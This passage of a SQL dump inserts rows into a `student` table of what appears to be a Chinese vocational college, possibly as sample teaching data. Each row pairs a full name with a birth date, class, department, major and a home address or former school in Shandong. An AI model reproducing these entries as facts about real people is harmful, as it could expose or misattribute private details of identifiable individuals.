'1988-10-26', '20070305', '软件工程系 ', '软件技术(动漫方向)', '聊城莘县职业中专');INSERT INTO `student` VALUES ('2007030514', '何伟', '男', '1988-04-20', '20070305', '软件工程系 ', '软件技术(动漫方向)', '济宁汶上县尚书路西');INSERT INTO `student` VALUES ('2007030515', '何欣桐', '男', '1988-05-12', '20070305', '软件工程系 ', '软件技术(动漫方向)', '泰安泰山区泰安长城中学');INSERT INTO `student` VALUES ('2007030516', '何林林', '女', '1988-03-22', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊临朐县卧龙镇孔家庄村');INSERT INTO `student` VALUES ('2007030517', '葛亮朋', '男', '1987-09-28', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊潍城区城关芙蓉街太平街小区');INSERT INTO `student` VALUES ('2007030518', '张亚男 ', '女', '1989-08-05', '20070305', '软件工程系 ', '软件技术(动漫方向)', '青岛莱西市成人中等专业学校');INSERT INTO `student` VALUES ('2007030519', '张扬', '男', '1988-08-22', '20070305', '软件工程系 ', '软件技术(动漫方向)', '临沂蒙阴县联城乡金城路??号');INSERT INTO `student` VALUES ('2007030520', '张腾', '男', '1988-02-01', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊安丘市第五中学');INSERT INTO `student` VALUES ('2007030521', '张跃', '男', '1988-11-28', '20070305', '软件工程系 ', '软件技术(动漫方向)', '临沂沂南县沂南二中');INSERT INTO `student` VALUES ('2007030522', '张丽丽', '女', '1988-03-14', '20070305', '软件工程系 ', '软件技术(动漫方向)', '滨州滨城区黄河三路');INSERT INTO `student` VALUES ('2007030523', '杨杨', '男', '1986-09-03', '20070305', '软件工程系 ', '软件技术(动漫方向)', '菏泽鄄城县第二中学');INSERT INTO `student` VALUES ('2007030524', '杨伟民 ', '男', '1990-03-16', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊昌乐县昌乐一中十六班');INSERT INTO `student` VALUES ('2007030525', '陆路', '男', '1988-07-01', '20070305', '软件工程系 ', '软件技术(动漫方向)', '枣庄滕州市级索镇后牛集村');INSERT INTO `student` VALUES ('2007030526', '陆彩英', '女', '1990-07-11', '20070305', '软件工程系 ', '软件技术(动漫方向)', '泰安宁阳县蒋集镇前才村');INSERT INTO `student` VALUES ('2007030527', '张慧', '女', '1989-06-07', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊诸城市诸城四中');INSERT INTO `student` VALUES ('2007030528', '张茂兴', '男', '1988-12-26', '20070305', '软件工程系 ', '软件技术(动漫方向)', '烟台牟平区三中');INSERT INTO `student` VALUES ('2007030529', '张大鹏', '男', '1987-03-09', '20070305', '软件工程系 ', '软件技术(动漫方向)', '德州平原县平原镇北街村17号');INSERT INTO `student` VALUES ('2007030530', '张莉茹', '女', '1987-10-18', '20070305', '软件工程系 ', '软件技术(动漫方向)', '威海文登市新一中');INSERT INTO `student` VALUES ('2007030531', '赵小天', '男', '1987-10-24', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊临朐县南关村大桥街');INSERT INTO `student` VALUES ('2007030532', '赵文晖', '男', '1989-02-04', '20070305', '软件工程系 ', '软件技术(动漫方向)', '烟台芝罘区');INSERT INTO `student` VALUES ('2007030533', '赵武斌', '男', '1988-08-12', '20070305', '软件工程系 ', '软件技术(动漫方向)', '日照五莲县一中');INSERT INTO `student` VALUES ('2007030534', '董胜利 ', '男', '1987-02-09', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊昌乐县第三职业中专');INSERT INTO `student` VALUES ('2007030535', '董晓敏', '女', '1988-02-07', '20070305', '软件工程系 ', '软件技术(动漫方向)', '济南章丘市第四中学');INSERT INTO `student` VALUES ('2007030536', '董璇', '女', '1989-06-21', '20070305', '软件工程系 ', '软件技术(动漫方向)', '菏泽成武县山东省成武县前程职业高中');INSERT INTO `student` VALUES ('2007030537', '葛天壮', '男', '1987-08-01', '20070305', '软件工程系 ', '软件技术(动漫方向)', '菏泽鄄城县鄄城县职教中心');INSERT INTO `student` VALUES ('2007030538', '林丽丽', '女', '1989-08-10', '20070305', '软件工程系 ', '软件技术(动漫方向)', '烟台芝罘区北皂村西北街');INSERT INTO `student` VALUES ('2007030539', '林繁', '男', '1987-07-28', '20070305', '软件工程系 ', '软件技术(动漫方向)', '淄博沂源县第一中学');INSERT INTO `student` VALUES ('2007030540', '林莉', '女', '1989-09-01', '20070305', '软件工程系 ', '软件技术(动漫方向)', '济宁嘉祥县嘉祥镇贾桥村');INSERT INTO `student` VALUES ('2007030541', '崔小玲', '女', '1989-03-05', '20070305', '软件工程系 ', '软件技术(动漫方向)', '青岛莱西市成人中等专业学校');INSERT INTO `student` VALUES ('2007030542', '崔晓光', '男', '1988-01-19', '20070305', '软件工程系 ', '软件技术(动漫方向)', '山东省禹城市房寺棉厂家属院');INSERT INTO `student` VALUES ('2007030543', '崔阳鹏', '男', '1988-09-02', '20070305', '软件工程系 ', '软件技术(动漫方向)', '烟台芝罘区南迎祥路');INSERT INTO `student` VALUES ('2007030544', '裴晓丽', '女', '1985-02-02', '20070305', '软件工程系 ', '软件技术(动漫方向)', '菏泽东明县刘楼镇焦楼村');INSERT INTO `student` VALUES ('2007030545', '裴艺璇', '女', '1987-06-06', '20070305', '软件工程系 ', '软件技术(动漫方向)', '济宁市中区军分区');INSERT INTO `student` VALUES ('2007030546', '裴海涛', '男', '1987-04-01', '20070305', '软件工程系 ', '软件技术(动漫方向)', '菏泽牡丹区菏泽三中');INSERT INTO `student` VALUES ('2007030547', '斐海霞', '女', '1987-12-01', '20070305', '软件工程系 ', '软件技术(动漫方向)', '德州临邑县翟家乡翟家村');INSERT INTO `student` VALUES ('2007030601', '马小美 ', '女', '1989-04-04', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂平邑县流峪镇谭家庄');INSERT INTO `student` VALUES ('2007030602', '王超', '男', '1988-12-12', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂平邑县温水镇西围沟村');INSERT INTO `student` VALUES ('2007030603', '王柯', '男', '1987-06-27', '20070306', '软件工程系 ', '软件技术(游戏方向)', '枣庄枣庄十八中学');INSERT INTO `student` VALUES ('2007030604', '王红圆', '男', '1988-02-15', '20070306', '软件工程系 ', '软件技术(游戏方向)', '德州平原县恩城镇魏庄村');INSERT INTO `student` VALUES ('2007030605', '李明轩', '男', '1989-06-12', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂兰山区临沂三中高中部');INSERT INTO `student` VALUES ('2007030606', '李凤丽', '女', '1987-06-07', '20070306', '软件工程系 ', '软件技术(游戏方向)', '菏泽东明县武胜桥乡李寨村');INSERT INTO `student` VALUES ('2007030607', '叶林林', '男', '1988-04-19', '20070306', '软件工程系 ', '软件技术(游戏方向)', '济南市中区春元里');INSERT INTO `student` VALUES ('2007030608', '刘明刚', '男', '1989-08-21', '20070306', '软件工程系 ', '软件技术(游戏方向)', '青岛胶南市泊里镇西庄村');INSERT INTO `student` VALUES ('2007030609', '刘海洋', '男', '1988-11-26', '20070306', '软件工程系 ', '软件技术(游戏方向)', '青岛即墨市第一中学');INSERT INTO `student` VALUES ('2007030610', '刘小虎', '男', '1986-01-28', '20070306', '软件工程系 ', '软件技术(游戏方向)', '菏泽郓城县二中');INSERT INTO `student` VALUES ('2007030611', '刘鹏', '男', '1988-10-16', '20070306', '软件工程系 ', '软件技术(游戏方向)', '莱芜莱城区方下镇沈家岭');INSERT INTO `student` VALUES ('2007030612', '孙琳', '女', '1989-07-04', '20070306', '软件工程系 ', '软件技术(游戏方向)', '青岛即墨市文化路');INSERT INTO `student` VALUES ('2007030613', '孙震东', '男', '1989-04-17', '20070306', '软件工程系 ', '软件技术(游戏方向)', '泰安肥城市杨庄矿机电区');INSERT INTO `student` VALUES ('2007030614', '东明', '男', '1988-12-19', '20070306', '软件工程系 ', '软件技术(游戏方向)', '德州陵县一中');INSERT INTO `student` VALUES ('2007030615', '林晓松', '男', '1988-12-16', '20070306', '软件工程系 ', '软件技术(游戏方向)', '济南市中区党家庄镇党西村');INSERT INTO `student` VALUES ('2007030616', '林胜利', '男', '1987-07-28', '20070306', '软件工程系 ', '软件技术(游戏方向)', '泰安东平县沙河站镇乔村');INSERT INTO `student` VALUES ('2007030617', '宁海涛', '男', '1986-12-28', '20070306', '软件工程系 ', '软件技术(游戏方向)', '济宁梁山县小安山镇');INSERT INTO `student` VALUES ('2007030618', '宋利明', '男', '1987-10-17', '20070306', '软件工程系 ', '软件技术(游戏方向)', '潍坊诸城市龙城中学');INSERT INTO `student` VALUES ('2007030619', '李小伟', '男', '1989-03-23', '20070306', '软件工程系 ', '软件技术(游戏方向)', '菏泽郓城县师范高中');INSERT INTO `student` VALUES ('2007030620', '李小敏', '女', '1988-11-16', '20070306', '软件工程系 ', '软件技术(游戏方向)', '济宁金乡县兴隆乡杨堂村');INSERT INTO `student` VALUES ('2007030621', '李小龙', '男', '1985-05-08', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂莒南县坪上镇食品站');INSERT INTO `student` VALUES ('2007030622', '李龙龙', '男', '1987-01-01', '20070306', '软件工程系 ', '软件技术(游戏方向)', '菏泽单县终兴镇光明集王楼村');INSERT INTO `student` VALUES ('2007030623', '李兵兵', '男', '1988-05-10', '20070306', '软件工程系 ', '软件技术(游戏方向)', '德州武城县职业中专');INSERT INTO `student` VALUES ('2007030624', '宋得胜 ', '男', '1988-09-30', '20070306', '软件工程系 ', '软件技术(游戏方向)', '德州乐陵市胡家街道办韩家村');INSERT INTO `student` VALUES ('2007030625', '宋丽萍', '女', '1991-01-14', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂蒙阴县文庙路');INSERT INTO `student` VALUES ('2007030626', '宋明林', '男', '1988-01-12', '20070306', '软件工程系 ', '软件技术(游戏方向)', '济宁任城区济东新村朗风园');INSERT INTO `student` VALUES ('2007030627', '宋海燕', '女', '1988-05-17', '20070306', '软件工程系 ', '软件技术(游戏方向)', '济宁嘉祥县纸坊镇李山头村');INSERT INTO `student` VALUES ('2007030628', '李小刚', '男', '1989-10-12', '20070306', '软件工程系 ', '软件技术(游戏方向)', '泰安岱岳区二职专');INSERT INTO `student` VALUES ('2007030629', '李晓东', '男', '1988-09-12', '20070306', '软件工程系 ', '软件技术(游戏方向)', '青岛李沧区永平路57号');INSERT INTO `student` VALUES ('2007030630', '樊晓东', '男', '1988-11-29', '20070306', '软件工程系 ', '软件技术(游戏方向)', '潍坊奎文区潍坊市奎文区东关街办');INSERT INTO `student` VALUES ('2007030631', '赵英英', '女', '1989-02-27', '20070306', '软件工程系 ', '软件技术(游戏方向)', '青岛胶南市胶南电子学校');INSERT INTO `student` VALUES ('2007030632', '赵晓刚', '男', '1988-04-20', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂兰山区临沂三中');INSERT INTO `student` VALUES ('2007030633', '徐晓', '女', '1986-11-03', '20070306', '软件工程系 ', '软件技术(游戏方向)', '日照莒县日照市农业学校');INSERT INTO `student` VALUES ('2007030634', '徐海峰', '男', '1988-07-18', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂沂水县杨庄镇');INSERT INTO `student` VALUES ('2007030635', '张灿', '女', '1986-02-08', '20070306', '软件工程系 ', '软件技术(游戏方向)', '日照日照第六中学');INSERT INTO `student` VALUES ('2007030636', '张海亮', '男', '1988-03-13', '20070306', '软件工程系 ', '软件技术(游戏方向)', '临沂郯城县红花乡红花埠北村');INSERT INTO `student` VALUES ('2007030637', '张海鹏', '女', '1988-10-16', '20070306', '软件工程系 ', '软件技术(游戏方向)', '枣庄滕州市东沙河镇韩楼村');INSERT INTO `student` VALUES ('2007030638', '张林涛', '男', '1989-08-13', '20070306', '软件工程系 ', '软件技术(游戏方向)', '德州武城县第二中学');INSERT INTO `student` VALUES ('2007030701', '尹小强', '男', '1988-04-24', '20070307', '软件工程系 ', '网络系统管理 ', '威海荣成市崖头镇崖头村三区5008号');INSERT INTO `student` VALUES ('2007030702', '付晓则 ', '男', '1988-07-15', '20070307', '软件工程系 ', '网络系统管理 ', '济宁微山县两城乡八村幸福中路');INSERT INTO `student` VALUES ('2007030703', '付丽艳', '女', '1989-03-04', '20070307', '软件工程系 ', '网络系统管理 ', '泰安肥城市新城办事处');INSERT INTO `student` VALUES ('2007030704', '任东明', '男', '1987-10-18', '20070307', '软件工程系 ', '网络系统管理 ', '泰安岱岳区山东省泰安第四中学');INSERT INTO `student` VALUES ('2007030705', '任晓栋', '男', '1989-02-08', '20070307', '软件工程系 ', '网络系统管理 ', '淄博临淄区辛店勇士');INSERT INTO `student` VALUES ('2007030706', '张美丽', '女', '1990-08-26', '20070307', '软件工程系 ', '网络系统管理 ', '临沂沂水县夏蔚镇东上位村');INSERT INTO `student` VALUES ('2007030707', '张美霞', '男', '1988-08-18', '20070307', '软件工程系 ', '网络系统管理 ', '菏泽成武县湖山职业高中');INSERT INTO `student` VALUES ('2007030708', '张晓', '男', '1986-01-05', '20070307', '软件工程系 ', '网络系统管理 ', '临沂莒南县相沟乡三义口村');INSERT INTO `student` VALUES ('2007030709', '张雷雷', '男', '1989-04-05', '20070307', '软件工程系 ', '网络系统管理 ', '临沂平邑县地方镇两泉村');INSERT INTO `student` VALUES ('2007030710', '张海涛', '男', '1989-08-02', '20070307', '软件工程系 ', '网络系统管理 ', '聊城莘县河店镇杨炉村');INSERT INTO `student` VALUES ('2007030711', '张海峰', '女', '1989-07-01', '20070307', '软件工程系 ', '网络系统管理 ', '日照岚山区西湖镇马安村');INSERT INTO `student` VALUES ('2007030712', '陈玉超 ', '男', '1988-11-04', '20070307', '软件工程系 ', '网络系统管理 ', '潍坊昌邑市五中');INSERT INTO `student` VALUES ('2007030713', '陈小涛', '男', '1987-08-30', '20070307', '软件工程系 ', '网络系统管理 ', '青岛平度市同和信用社');INSERT INTO `student` VALUES ('2007030714', '林玲', '女', '1987-06-05', '20070307', '软件工程系 ', '网络系统管理 ', '泰安肥城市王庄镇任庄村');INSERT INTO `student` VALUES ('2007030715', '林军超', '男', '1988-09-29', '20070307', '软件工程系 ', '网络系统管理 ', '临沂临沭县郑山镇罗屯村');INSERT INTO `student` VALUES ('2007030716', '林永杰', '男', '1990-05-17', '20070307', '软件工程系 ', '网络系统管理 ', '东营利津县职教中心');INSERT INTO `student` VALUES ('2007030717', '董秀丽', '女', '1989-03-13', '20070307', '软件工程系 ', '网络系统管理 ', '临沂河东区蒙凌学校');INSERT INTO `student` VALUES ('2007030718', '董华峰', '男', '1986-08-12', '20070307', '软件工程系 ', '网络系统管理 ', '菏泽牡丹区王浩屯镇郭寨村');INSERT INTO `student` VALUES ('2007030719', '程丽莉', '女', '1988-07-15', '20070307', '软件工程系 ', '网络系统管理 ', '菏泽定陶县定陶二中');INSERT INTO `student` VALUES ('2007030720', '程美娜', '男', '1987-10-12', '20070307', '软件工程系 ', '网络系统管理 ', '临沂沂水县第三中学');INSERT INTO `student` VALUES ('2007030721', '盛鑫', '男', '1987-09-20', '20070307', '软件工程系 ', '网络系统管理 ', '滨州阳信县阳信镇边家村');INSERT INTO `student` VALUES ('2007040101', '丁小玲', '女', '1987-10-12', '20070401', '社科艺术系 ', '法律事务 ', '梅河口翰林中学 ');INSERT INTO `student` VALUES ('2007040102', '于洋', '男', '1988-09-12', '20070401', '社科艺术系 ', '法律事务 ', '泰安岱岳区泰安三中 ');INSERT INTO `student` VALUES ('2007040103', '于晓艳', '女', '1987-09-10', '20070401', '社科艺术系 ', '法律事务 ', '潍坊诸城市诸城市第二中学 ');INSERT INTO `student` VALUES ('2007040104', '王朋朋', '男', '1987-02-11', '20070401', '社科艺术系 ', '法律事务 ', '临沂河东区蒙凌学校 ');INSERT INTO `student` VALUES ('2007040105', '王明亮', '男', '1988-02-07', '20070401', '社科艺术系 ', '法律事务 ', '青岛市北区桦川一路 ');INSERT INTO `student` VALUES ('2007040106', '王美婷', '女', '1988-07-20', '20070401', '社科艺术系 ', '法律事务 ', '青岛市北区东莞一路 ');INSERT INTO `student` VALUES ('2007040107', '王丽艳', '女', '1987-12-05', '20070401', '社科艺术系 ', '法律事务 ', '烟台招远市蚕庄镇洼子村593号 ');INSERT INTO `student` VALUES ('2007040108', '王海涛', '男', '1989-05-06', '20070401', '社科艺术系 ', '法律事务 ', '日照莒县 ');INSERT INTO `student` VALUES ('2007040109', '张小萌', '女', '1988-10-28', '20070401', '社科艺术系 ', '法律事务 ', '潍坊昌乐县昌乐一中十八班 ');INSERT INTO `student` VALUES ('2007040110', '张宇轩', '女', '1988-01-10', '20070401', '社科艺术系 ', '法律事务 ', '临沂莒南县壮岗镇东坡村 ');INSERT INTO `student` VALUES ('2007040111', '张红杰', '男', '1988-01-22', '20070401', '社科艺术系 ', '法律事务 ', '日照莒县第二中学 ');INSERT INTO `student` VALUES ('2007040112', '张丽源', '女', '1985-06-01', '20070401', '社科艺术系 ', '法律事务 ', '聊城莘县第二中学 ');INSERT INTO `student` VALUES ('2007040113', '李永帅', '男', '1987-08-10', '20070401', '社科艺术系 ', '法律事务 ', '潍坊潍城区福寿街西首潍坊七中 ');INSERT INTO `student` VALUES ('2007040114', '朱小婷', '女', '1989-09-16', '20070401', '社科艺术系 ', '法律事务 ', '菏泽牡丹区西城百园社区穆楼村 ');INSERT INTO `student` VALUES ('2007040115', '朱龙峰', '男', '1987-09-19', '20070401', '社科艺术系 ', '法律事务 ', '青岛市北区台东一路118号 ');INSERT INTO `student` VALUES ('2007040116', '史娇姣', '女', '1988-07-25', '20070401', '社科艺术系 ', '法律事务 ', '济南天桥区东仁和街290号 ');INSERT INTO `student` VALUES ('2007040117', '陈婷', '女', '1988-06-08', '20070401', '社科艺术系 ', '法律事务 ', '济南市中区玉函路48号 ');INSERT INTO `student` VALUES ('2007040118', '陈丽莎', '女', '1989-04-11', '20070401', '社科艺术系 ', '法律事务 ', '济宁任城区接庄镇东郑庄村 ');INSERT INTO `student` VALUES ('2007040119', '赵斐', '女', '1989-03-09', '20070401', '社科艺术系 ', '法律事务 ', '青岛平度市城关福州路114号 ');INSERT INTO `student` VALUES ('2007040120', '崔小雯', '女', '1988-08-23', '20070401', '社科艺术系 ', '法律事务 ', '日照莒县小店镇后山头渊村 ');INSERT INTO `student` VALUES ('2007040121', '张法军', '男', '1988-12-25', '20070401', '社科艺术系 ', '法律事务 ', '淄博高青县黑里寨镇箕张村225号 ');INSERT INTO `student` VALUES ('2007040122', '张小梅', '女', '1988-08-06', '20070401', '社科艺术系 ', '法律事务 ', '泰安岱岳区山东省泰安第四中学 ');INSERT INTO `student` VALUES ('2007040123', '唐林超', '男', '1989-04-10', '20070401', '社科艺术系 ', '法律事务 ', '菏泽郓城县二中 ');INSERT INTO `student` VALUES ('2007040124', '唐杰刚', '男', '1988-02-24', '20070401', '社科艺术系 ', '法律事务 ', '日照五莲县一中 ');INSERT INTO `student` VALUES ('2007040125', '杜桂明', '男', '1987-09-07', '20070401', '社科艺术系 ', '法律事务 ', '烟台莱州市沙河镇西杜家村 ');INSERT INTO `student` VALUES ('2007040126', '杜秀霞 ', '女', '1989-08-01', '20070401', '社科艺术系 ', '法律事务 ', '聊城莘县职业中专 ');INSERT INTO `student` VALUES ('2007040127', '林美霞', '女', '1988-02-11', '20070401', '社科艺术系 ', '法律事务 ', '潍坊寿光市现代中学 ');INSERT INTO `student` VALUES ('2007040128', '赵晨', '女', '1987-11-25', '20070401', '社科艺术系 ', '法律事务 ', '济宁梁山县小安山镇宋庄村 ');INSERT INTO `student` VALUES ('2007040129', '徐鹏程', '男', '1987-06-06', '20070401', '社科艺术系 ', '法律事务 ', '济宁金乡县中心街西路 ');INSERT INTO `student` VALUES ('2007040130', '徐军鹏', '男', '1987-10-05', '20070401', '社科艺术系 ', '法律事务 ', '烟台海阳市盘石店镇徐家泊村 ');INSERT INTO `student` VALUES ('2007040131', '董小芹', '女', '1989-01-07', '20070401', '社科艺术系 ', '法律事务 ', '聊城莘县妹冢镇辛店集村 ');INSERT INTO `student` VALUES ('2007040132', '董晓婷', '女', '1987-10-16', '20070401', '社科艺术系 ', '法律事务 ', '河北省邯郸市涉县二中 ');INSERT INTO `student` VALUES ('2007040133', '董静静', '女', '1986-04-01', '20070401', '社科艺术系 ', '法律事务 ', '河北省冀州市冀中分校 ');INSERT INTO `student` VALUES ('2007040201', '林晓梅', '女', '1988-06-12', '20070402', '社科艺术系 ', '电子商务 ', '云南省曲靖市沾益县第三中学 ');INSERT INTO `student` VALUES ('2007050101', '林静', '女', '1989-03-27', '20070501', '信息工程系 ', '电子商务 ', '德州夏津县新盛店镇西季庄 ');INSERT INTO `student` VALUES ('2007050102', '齐玉米', '男', '1989-05-16', '20070501', '信息工程系 ', '电子商务 ', '潍坊寿光市台头镇邢家茅坨村 ');INSERT INTO `student` VALUES ('2007050103', '齐小杰', '男', '1988-10-28', '20070501', '信息工程系 ', '电子商务 ', '东营广饶县广饶镇颜一村 ');INSERT INTO `student` VALUES ('2007050104', '齐军军', '女', '1988-07-18', '20070501', '信息工程系 ', '电子商务 ', '青岛城阳区城阳街道城子村0927号 ');INSERT INTO `student` VALUES ('2007050105', '王明鹏', '男', '1987-03-12', '20070501', '信息工程系 ', '电子商务 ', '潍坊奎文区东风东街2306号 ');INSERT INTO `student` VALUES ('2007050106', '王晓美', '女', '1987-10-18', '20070501', '信息工程系 ', '电子商务 ', '青岛莱西市马连庄镇 ');INSERT INTO `student` VALUES ('2007050107', '王爱爱', '女', '1988-06-22', '20070501', '信息工程系 ', '电子商务 ', '烟台海阳市徐家店镇取水崖村 ');INSERT INTO `student` VALUES ('2007050108', '王奋斗', '男', '1987-02-12', '20070501', '信息工程系 ', '电子商务 ', '潍坊昌邑市卜庄镇大王村 ');INSERT INTO `student` VALUES ('2007050109', '王芳', '女', '1988-03-25', '20070501', '信息工程系 ', '电子商务 ', '潍坊寿光市营里镇东北河村 ');INSERT INTO `student` VALUES ('2007050110', '王玉婷', '女', '1988-10-16', '20070501', '信息工程系 ', '电子商务 ', '烟台海阳市朱吴镇三王家村 ');INSERT INTO `student` VALUES ('2007050111', '王小雪', '女', '1987-11-10', '20070501', '信息工程系 ', '电子商务 ', '菏泽单县谢集乡谢花园村王庄 ');INSERT INTO `student` VALUES ('2007050112', '于玉婷 ', '女', '1988-08-25', '20070501', '信息工程系 ', '电子商务 ', '潍坊寒亭区寒亭一中 ');INSERT INTO `student` VALUES ('2007050113', '于德智', '男', '1988-11-19', '20070501', '信息工程系 ', '电子商务 ', '枣庄滕州市羊庄镇史屯村');INSERT INTO `student` VALUES ('2007050114', '田小军', '男', '1988-12-01', '20070501', '信息工程系 ', '电子商务 ', '青岛胶州市常州路668号 ');INSERT INTO `student` VALUES ('2007050115', '田帅帅', '男', '1986-04-12', '20070501', '信息工程系 ', '电子商务 ', '菏泽成武县二中 ');INSERT INTO `student` VALUES ('2007050116', '田小鹏', '男', '1988-07-10', '20070501', '信息工程系 ', '电子商务 ', '青岛平度市麻兰镇任家河岔村 ');INSERT INTO `student` VALUES ('2007050117', '田静', '女', '1989-04-12', '20070501', '信息工程系 ', '电子商务 ', '聊城东阿县刘集镇东苫山村 ');INSERT INTO `student` VALUES ('2007050118', '李志豪', '男', '1989-01-17', '20070501', '信息工程系 ', '电子商务 ', '青岛四方区小水清沟');INSERT INTO `student` VALUES ('2007050119', '李美菊', '女', '1987-08-07', '20070501', '信息工程系 ', '电子商务 ', '临沂沂水县综合高中 ');INSERT INTO `student` VALUES ('2007050120', '李秋菊', '女', '1988-11-30', '20070501', '信息工程系 ', '电子商务 ', '菏泽曹县古营集镇曹庄行政村 ');INSERT INTO `student` VALUES ('2007050121', '刘雪', '女', '1989-05-24', '20070501', '信息工程系 ', '电子商务 ', '枣庄薛城区邹坞镇野场村');INSERT INTO `student` VALUES ('2007050122', '刘玉兰', '女', '1988-11-09', '20070501', '信息工程系 ', '电子商务 ', '滨州博兴县陈户镇相孙村 ');INSERT INTO `student` VALUES ('2007050123', '刘青青', '女', '1986-03-13', '20070501', '信息工程系 ', '电子商务 ', '潍坊奎文区东风东街 ');INSERT INTO `student` VALUES ('2007050124', '张平丽', '女', '1988-09-25', '20070501', '信息工程系 ', '电子商务 ', '泰安岱岳区泰安第四中学 ');INSERT INTO `student` VALUES ('2007050125', '张睿', '男', '1989-04-01', '20070501', '信息工程系 ', '电子商务 ', '淄博桓台县起凤镇西巩村 ');INSERT INTO `student` VALUES ('2007050126', '张瑞东', '女', '1988-08-01', '20070501', '信息工程系 ', '电子商务 ', '菏泽曹县韩集镇 ');INSERT INTO `student` VALUES ('2007050127', '张家磊', '男', '1989-07-20', '20070501', '信息工程系 ', '电子商务 ', '潍坊寿光市营里镇中营村 ');INSERT INTO `student` VALUES ('2007050128', '张震', '女', '1988-08-26', '20070501', '信息工程系 ', '电子商务 ', '滨州博兴县博兴镇皂户村 ');INSERT INTO `student` VALUES ('2007050129', '林玉霞', '女', '1988-02-18', '20070501', '信息工程系 ', '电子商务 ', '云南省大理州鹤庆县金墩乡北溪村');INSERT INTO `student` VALUES ('2007050130', '林晓静', '女', '1987-08-29', '20070501', '信息工程系 ', '电子商务 ', '济宁梁山县梁山镇林庄村 ');INSERT INTO `student` VALUES ('2007050131', '张玉雷', '男', '1988-11-26', '20070501', '信息工程系 ', '电子商务 ', '潍坊昌邑市围子镇中密村 ');INSERT INTO `student` VALUES ('2007050132', '张美婷', '女', '1988-01-10', '20070501', '信息工程系 ', '电子商务 ', '菏泽鄄城县第一中学 ');INSERT INTO `student` VALUES ('2007050133', '李德阳', '男', '1988-01-23', '20070501', '信息工程系 ', '电子商务 ', '青岛莱西市武备镇吴格庄村 ');INSERT INTO `student` VALUES ('2007050134', '李新', '女', '1988-03-22', '20070501', '信息工程系 ', '电子商务 ', '临沂沂南县大庄镇金佛院村 ');INSERT INTO `student` VALUES ('2007050135', '李成龙', '男', '1988-10-15', '20070501', '信息工程系 ', '电子商务 ', '青岛莱西市威东中兴街 ');INSERT INTO `student` VALUES ('2007050136', '闫玉花', '女', '1987-08-27', '20070501', '信息工程系 ', '电子商务 ', '吉林省农安县伏龙泉中学 ');INSERT INTO `student` VALUES ('2007050137', '安晓君 ', '女', '1986-10-13', '20070501', '信息工程系 ', '电子商务 ', '菏泽定陶县定陶二中音乐组 ');INSERT INTO `student` VALUES ('2007050138', '张甜甜', '女', '1989-01-05', '20070501', '信息工程系 ', '电子商务 ', '东营广饶县大码头乡大码头三村 ');INSERT INTO `student` VALUES ('2007050139', '张梦楠', '女', '1989-09-14', '20070501', '信息工程系 ', '电子商务 ', '潍坊昌乐县崔家庄镇');INSERT INTO `student` VALUES ('2007050140', '任萍萍', '女', '1988-04-01', '20070501', '信息工程系 ', '电子商务 ', '潍坊安丘市吾山镇墨黑村 ');INSERT INTO `student` VALUES ('2007050141', '杨晓玉', '女', '1988-12-04', '20070501', '信息工程系 ', '电子商务 ', '潍坊诸城市诸城市南关路 ');INSERT INTO `student` VALUES ('2007050142', '杨美婷', '女', '1988-01-16', '20070501', '信息工程系 ', '电子商务 ', '菏泽曹县韩集镇堤上范 ');INSERT INTO `student` VALUES ('2007050143', '杨晓丹', '男', '1988-01-05', '20070501', '信息工程系 ', '电子商务 ', '临沂临沭县二中 ');INSERT INTO `student` VALUES ('2007050144', '赵天', '男', '1987-10-06', '20070501', '信息工程系 ', '电子商务 ', '潍坊临朐县寺头镇赵家北坡村 ');INSERT INTO `student` VALUES ('2007050145', '唐平安 ', '男', '1988-12-07', '20070501', '信息工程系 ', '电子商务 ', '菏泽定陶县一中 ');INSERT INTO `student` VALUES ('2007050146', '匡玉萍', '女', '1988-06-21', '20070501', '信息工程系 ', '电子商务 ', '青岛四方区嘉善路848号 ');INSERT INTO `student` VALUES ('2007050147', '王美凤', '女', '1987-12-27', '20070501', '信息工程系 ', '电子商务 ', '潍坊寒亭区一中 ');INSERT INTO `student` VALUES ('2007050148', '王玉玲', '女', '1988-01-15', '20070501', '信息工程系 ', '电子商务 ', '潍坊昌乐县第一中学 ');INSERT INTO `student` VALUES ('2007050149', '张海峰', '男', '1990-01-15', '20070501', '信息工程系 ', '电子商务 ', '潍坊青州市郑母泥河店村 ');INSERT INTO `student` VALUES ('2007050150', '明天', '女', '1988-11-15', '20070501', '信息工程系 ', '电子商务 ', '潍坊诸城市诸城市实验中学高中部 ');INSERT INTO `student` VALUES ('2007050151', '呼唤', '女', '1988-07-03', '20070501', '信息工程系 ', '电子商务 ', '潍坊安丘市赵戈镇埠望庄 ');INSERT INTO `student` VALUES ('2007050152', '程娜娜', '女', '1987-07-10', '20070501', '信息工程系 ', '电子商务 ', '潍坊奎文区东风东街 ');INSERT INTO `student` VALUES ('2007050153', '刘可可', '男', '1987-07-16', '20070501', '信息工程系 ', '电子商务 ', '枣庄滕州市蒋庄矿高档一队 ');INSERT INTO `student` VALUES ('2007050154', '张可心', '女', '1988-08-03', '20070501', '信息工程系 ', '电子商务 ', '潍坊昌乐县昌乐二中 ');INSERT INTO `student` VALUES ('2007050155', '李玉美', '女', '1986-10-22', '20070501', '信息工程系 ', '电子商务 ', '济宁梁山县大路口乡翟楼村 ');INSERT INTO `student` VALUES ('2007050156', '李林艳', '女', '1988-03-14', '20070501', '信息工程系 ', '电子商务 ', '临沂莒南县坪上寨子河 ');INSERT INTO `student` VALUES ('2007050157', '崔玲玲 ', '男', '1988-11-12', '20070501', '信息工程系 ', '电子商务 ', '潍坊潍城区福寿街西首潍坊七中 ');INSERT INTO `student` VALUES ('2007050201', '魏强刚', '男', '1988-05-28', '20070502', '信息工程系 ', '电子商务 ', '青岛平度市平度市华怡公寓1673号楼 ');INSERT INTO `student` VALUES ('2007050202', '魏铭宇', '男', '1989-12-26', '20070502', '信息工程系 ', '电子商务 ', '济宁梁山县大路口乡王朝刚村2358号 